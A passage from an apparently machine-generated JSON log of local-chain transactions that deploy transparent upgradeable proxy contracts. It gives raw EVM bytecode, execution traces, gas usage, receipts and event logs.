8dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":38,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000020000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000100000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000080000000000000000000000000000000000000000000000"},"block_hash":"0x12aebe12aae19018b1e2fd15191a0caf7d9de830d189db418ba9ce46e8667c70","block_number":4},{"info":{"transaction_hash":"0x857fdf6767c9d799d21797d276dddb688639118af164f9d96622d2d5c135be10","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x851356ae760d987e095750cceb3bc6014560891c","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":36,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400400000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000010000000000000400000000000000000000000000000000020000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xd351f4a88bfc87d7e3d306fb39d5689a42d93bdff4193db6573e73e3ca7bd959","block_number":3},{"info":{"transaction_hash":"0x83cbcad6bf507df8c527396595303607713f92c0dfbcc85a90b9df7d1bc1d335","transaction_index":3,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b606482015260840